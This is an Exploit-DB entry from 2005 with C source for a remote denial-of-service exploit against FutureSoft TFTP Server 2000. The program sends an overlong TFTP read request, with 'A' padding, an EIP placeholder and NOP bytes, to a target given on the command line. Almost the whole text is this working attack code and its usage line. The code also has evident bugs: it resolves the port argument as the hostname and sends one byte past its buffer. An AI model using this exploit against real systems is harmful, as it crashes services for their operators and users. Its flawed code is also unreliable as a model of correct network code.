Exploit-DB #1027
Description: FutureSoft TFTP Server 2000 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-06-02
Author: ATmaCA

Exploit:
/*
*
* FutureSoft TFTP Server 2000 Remote Denial of Service Exploit
* http://www.futuresoft.com/products/lit-tftp2000.htm
* Bug Discovered by SIG^2 (http://www.security.org.sg)
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
* Usage:tftp_exp <targetIp> [targetPort]
*
*/

/*
*
* Vulnerable Versions:
* TFTP Server 2000 Evaluation Version 1.0.0.1
*
*/

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

/* |RRQ|AAAAAAAAAAAAAAAA....|NULL|netasc|NULL| */
char expbuffer[] =
"\x00\x01"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x58\x58\x58\x58" /* EIP */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x6E\x65\x74\x61\x73\x63\x69"
"\x69\x00";

void main(int argc, char *argv[])
{
        WSADATA wsaData;
        WORD wVersionRequested;
        struct hostent *pTarget;
        struct sockaddr_in sock;
        SOCKET mysocket;
        int destPORT = 69;//Default to 69

        if (argc < 2){
                printf("FutureSoft TFTP Server 2000 Remote Denial of Service Exploit\n");
                printf("http://www.futuresoft.com/products/lit-tftp2000.htm\n");
                printf("Bug Discovered by SIG^2 (http://www.security.org.sg)\n");
                printf("Exploit coded By ATmaCA\n");
                printf("Web: atmacasoft.com && spyinstructors.com\n");
                printf("E-Mail: atmaca@icqmail.com\n");
                printf("Credit to kozan\n");
                printf("Usage:tftp_exp <targetIp> [targetPort]\n");
                return;
        }
        if (argc==3)
                destPORT=atoi(argv[2]);

        printf("Requesting Winsock...\n");
        wVersionRequested = MAKEWORD(1, 1);
        if (WSAStartup(wVersionRequested, &wsaData) < 0) {
                printf("No winsock suitable version found!");
                return;
        }
        mysocket = socket(AF_INET, SOCK_DGRAM	, 0);
        if(mysocket==INVALID_SOCKET){
                printf("Can't create UDP socket\n");
                exit(1);
        }
        printf("Resolving Hostnames...\n");
        if ((pTarget = gethostbyname(argv[2])) == NULL){
                printf("Resolve of %s failed\n", argv[1]);
                exit(1);
        }
        memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons(destPORT);

        printf("Connecting...\n");
        if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))){
                printf("Couldn't connect to host.\n");
                exit(1);
        }

        printf("Connected!...\n");
        Sleep(10);

        printf("RRQ->Sending packet. Size: %d\n",sizeof(expbuffer));
        if (send(mysocket,expbuffer, sizeof(expbuffer)+1, 0) == -1){
                printf("Error sending packet\n");
                closesocket(mysocket);
                exit(1);
        }
        printf("Packet sent........\n");
        printf("Success.\n");

        closesocket(mysocket);
        WSACleanup();
}

// milw0rm.com [2005-06-02]